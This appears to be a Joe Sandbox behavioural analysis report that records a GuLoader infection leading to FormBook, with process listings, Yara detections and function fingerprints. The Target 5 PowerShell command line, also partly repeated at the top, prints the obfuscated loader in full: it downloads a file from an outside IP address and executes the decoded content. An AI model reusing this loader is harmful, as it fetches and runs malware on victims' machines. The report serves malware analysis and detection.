aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5.0 8 0 )T ');Apalachicola $Karriererne158;"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000002.00000002.2529825040.000001AE40151000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:11:51
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:11:53
Start date:	25/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $"
Imagebase:	0x7ff700850000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:11:59
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5.0 8 0 )T ');Apalachicola $Karriererne158;"
Imagebase:	0xb00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.2407168182.0000000008350000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.2391197450.0000000005962000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.2407323813.0000000008C08000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:12:00
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:12:20
Start date:	25/04/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x7b0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:12:20
Start date:	25/04/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x7b0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:12:52
Start date:	25/04/2024
Path:	C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe"
Imagebase:	0xd90000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:12:54
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\AtBroker.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\AtBroker.exe"
Imagebase:	0x470000
File size:	68'608 bytes
MD5 hash:	D5B61959A509BDA85300781F5A829610
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	08:13:07
Start date:	25/04/2024
Path:	C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe"
Imagebase:	0xd90000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	08:13:10
Start date:	25/04/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x7b0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:13:11
Start date:	25/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff778480000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:13:18
Start date:	25/04/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x7b0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:13:20
Start date:	25/04/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF848F3B196 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547294582.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da0a7e5fedd16fb565923e0d51c1d36c52f4cbfdac0eba280b7bd316d25e896e
Instruction ID: 61f67964d97fa6bd780099d0ce7f5a1e376728045ccdcc1a43b7966883f99d2d
Opcode Fuzzy Hash: da0a7e5fedd16fb565923e0d51c1d36c52f4cbfdac0eba280b7bd316d25e896e
Instruction Fuzzy Hash: C1F1913091CA8D8FEBA8EF28C8557E937E1FF54350F04426EE84DC7295DB34A9458B86

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F3BF42 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547294582.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad95af2593027918983f061fbb5ac6b822b68e89109f744282b4516101711ad8
Instruction ID: 0ab762e6090552ae152e03d2e185ef070971423f66e9faef4df50f3b625aec64
Opcode Fuzzy Hash: ad95af2593027918983f061fbb5ac6b822b68e89109f744282b4516101711ad8
Instruction Fuzzy Hash: 2CE1A17090CA8E8FEBA8EF28C8557E977E1FB54350F04426ED84DC7291DF78A9548B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF849004169 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2548088718.00007FF849000000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff849000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 067111e91d94ea7a2c3fd3e7a587e756c28389b3b95c5bea087ddc26d5a14163
Instruction ID: 5183d2c85714090f4cedcbcb62e8dd0f6a09fe26dac78937c9035f614967799f
Opcode Fuzzy Hash: 067111e91d94ea7a2c3fd3e7a587e756c28389b3b95c5bea087ddc26d5a14163
Instruction Fuzzy Hash: 41E1F431E0EACA4FEBA5EF2868556B57BE1EF55260B4801FAD04DC31D3FA18E8058345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF84900534D Relevance: .4, Instructions: 360COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2548088718.00007FF849000000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff849000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12d18d14ed277c96108317e4a0e1a34b5f925bc5f1dd060fb2a610656513ebc1
Instruction ID: d865591344198a1558ca3021511ea9c504586d1a4b8cd65f121976dadd6e82ca
Opcode Fuzzy Hash: 12d18d14ed277c96108317e4a0e1a34b5f925bc5f1dd060fb2a610656513ebc1
Instruction Fuzzy Hash: 5EB12231E0EBCA4FEBA5EF2868556B97BE1EF56261B4801FAD00DC7193EA18DC048341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F3C6A0 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547294582.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362f54f9c7356faf14aadd4ed83319b32f51f5599937cc809c9a538896a639ca
Instruction ID: 9686e6be24c1e3cae507939c03daac386d6ab85851e15a98d760804f02342536
Opcode Fuzzy Hash: 362f54f9c7356faf14aadd4ed83319b32f51f5599937cc809c9a538896a639ca
Instruction Fuzzy Hash: E6811630A1CA494FE788EF1CC485AB5B7E1FF95391F10057ED08AC3296EB25E846C784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF849004307 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2548088718.00007FF849000000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff849000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e17dfda0e1927b8a7dc2e35bd9e361dcb99472643860ab9ef169c0c8dce001d4
Instruction ID: 7415fe7aeb7daa17af545e07dbf0448224e0986a47636a442e3da8d7a7854655
Opcode Fuzzy Hash: e17dfda0e1927b8a7dc2e35bd9e361dcb99472643860ab9ef169c0c8dce001d4
Instruction Fuzzy Hash: 0941BF31D1EACA5FEBA5EB2868551B5BAE1EF552A1B5801FAD01CC31E3FE1CE8448305

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF849005472 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2548088718.00007FF849000000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff849000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8574c5fbacc990400cc0a1f9787fda3f2ca6e8ba7af22d5c015cec301bf43e10
Instruction ID: 271ef5fd6b46d87a8cd121568fd5016d791501e9fed84d046cde7ff8ba5bb427
Opcode Fuzzy Hash: 8574c5fbacc990400cc0a1f9787fda3f2ca6e8ba7af22d5c015cec301bf43e10
Instruction Fuzzy Hash: ED31E521D1EAC74FEBA5AB2938651B879E1EF067A6B8801FAD40DC31D2FE0CD8044241

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F33945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547294582.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e99b89f687f3f6724d8ae340636a1cf9b72e181230606bc8b3d9a21e63b29c5
Instruction ID: 5581c1bbeeb35668f75aff93aa97cf07b4c35495046711a11288b2c77098a6b1
Opcode Fuzzy Hash: 3e99b89f687f3f6724d8ae340636a1cf9b72e181230606bc8b3d9a21e63b29c5
Instruction Fuzzy Hash: 4001677111CB0C8FD744EF0CE451AA5B7E0FB95364F10056EE58AC3695D736E881CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 4320, Parent PID: 2568COMMON

Executed Functions

Function 00AFF258 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\Voj, xrefs: 00AFF50F

Memory Dump Source

Source File: 00000005.00000002.2388041570.0000000000AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_af0000_powershell.jbxd

Similarity

API ID:
String ID: \Voj
API String ID: 0-2276246058
Opcode ID: c3006ee4c781efce824a253ce9b86846fa75a507c90c6abf31bb5f84fcb2e70e
Instruction ID: 642c1ec8b663e1ae0f64ee528e67dd1b5c34b13c1c143914c4986f786faddac6
Opcode Fuzzy Hash: c3006ee4c781efce824a253ce9b86846fa75a507c90c6abf31bb5f84fcb2e70e
Instruction Fuzzy Hash: CEB15E71E0020D8FDF14CFE9C9857AEBBF2AF88354F148139E915AB294EB749845CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00AFFB28 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2388041570.0000000000AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_af0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ff6bf24998eb8a8582df75bc36b82f0eec1bae3d20ca757ab13b35fd2e1f0
Instruction ID: a83ac3f228d98ea3b5c5549c6e38c15a4a8dd536dd51b9c8966ef4e597b38035
Opcode Fuzzy Hash: a72ff6bf24998eb8a8582df75bc36b82f0eec1bae3d20ca757ab13b35fd2e1f0
Instruction Fuzzy Hash: C5B14A70E0021D8FDF14CFE9C9857ADBBF2AF88714F148539E915AB294EB749846CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0728B74D Relevance: 22.0, Strings: 17, Instructions: 704COMMON

Download Yara Rule

Strings

4']q, xrefs: 0728BD30
x.tk, xrefs: 0728B851
x.tk, xrefs: 0728BD80
-tk, xrefs: 0728CADE
4']q, xrefs: 0728BD3C
4']q, xrefs: 0728C990
4']q, xrefs: 0728BB5E
4']q, xrefs: 0728C7F3
4']q, xrefs: 0728CA34
-tk, xrefs: 0728BDD1
4']q, xrefs: 0728C97A
4']q, xrefs: 0728BCB1
4']q, xrefs: 0728BCBD
4']q, xrefs: 0728C7DD
4']q, xrefs: 0728BB6A
x.tk, xrefs: 0728CA8D
4']q, xrefs: 0728CA1E

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$x.tk$x.tk$x.tk$-tk$-tk
API String ID: 0-3209768818
Opcode ID: 5a61d6ad40e6bf0bc3504c1925acba968b8097e38f5d31f243d60844a5cf8503
Instruction ID: 0ace09b86c2a325de9b6776d49138daf56ec6ff1d1325048e58984b82cec2d4d
Opcode Fuzzy Hash: 5a61d6ad40e6bf0bc3504c1925acba968b8097e38f5d31f243d60844a5cf8503
Instruction Fuzzy Hash: 626292B0A102298FD764DF64CA51BDEBBB2EF84300F1085E5D9096B385CB769E85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07285838 Relevance: 16.1, Strings: 12, Instructions: 1051COMMON

Download Yara Rule

Strings

4']q, xrefs: 07285F32
-tk, xrefs: 072861B2
tP]q, xrefs: 07285B28
x.tk, xrefs: 07286161
4']q, xrefs: 07286098
4']q, xrefs: 07286117
4']q, xrefs: 0728610B
tP]q, xrefs: 07285B1C
4']q, xrefs: 07285F3E
4']q, xrefs: 0728608C
4']q, xrefs: 07285991
4']q, xrefs: 0728599D

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$tP]q$tP]q$x.tk$-tk
API String ID: 0-1856103140
Opcode ID: c4f59ee06d670b8571e59a8855aed490e11f966a6f26f47ea7666c21042e7e10
Instruction ID: 570e5dea5dc407fd5bcdae9d8035fa5e496276c9595c7dcff7cc1461081b76e7
Opcode Fuzzy Hash: c4f59ee06d670b8571e59a8855aed490e11f966a6f26f47ea7666c21042e7e10
Instruction Fuzzy Hash: 8892D570B11216CFDB64DB58C951B6ABBB2EF85300F1484AAD809AF796CB33DC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 072872E0 Relevance: 10.3, Strings: 8, Instructions: 339COMMON

Download Yara Rule

Strings

4']q, xrefs: 07287416
x.tk, xrefs: 0728763A
4']q, xrefs: 0728740A
4']q, xrefs: 0728756F
4']q, xrefs: 072875FA
4']q, xrefs: 0728757B
-tk, xrefs: 0728767F
4']q, xrefs: 072875EE

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$4']q$4']q$x.tk$-tk
API String ID: 0-3590120756
Opcode ID: 43dbbc360445e014a0930c6c5007564a1c3d4daad78cc158749645fda4429c81
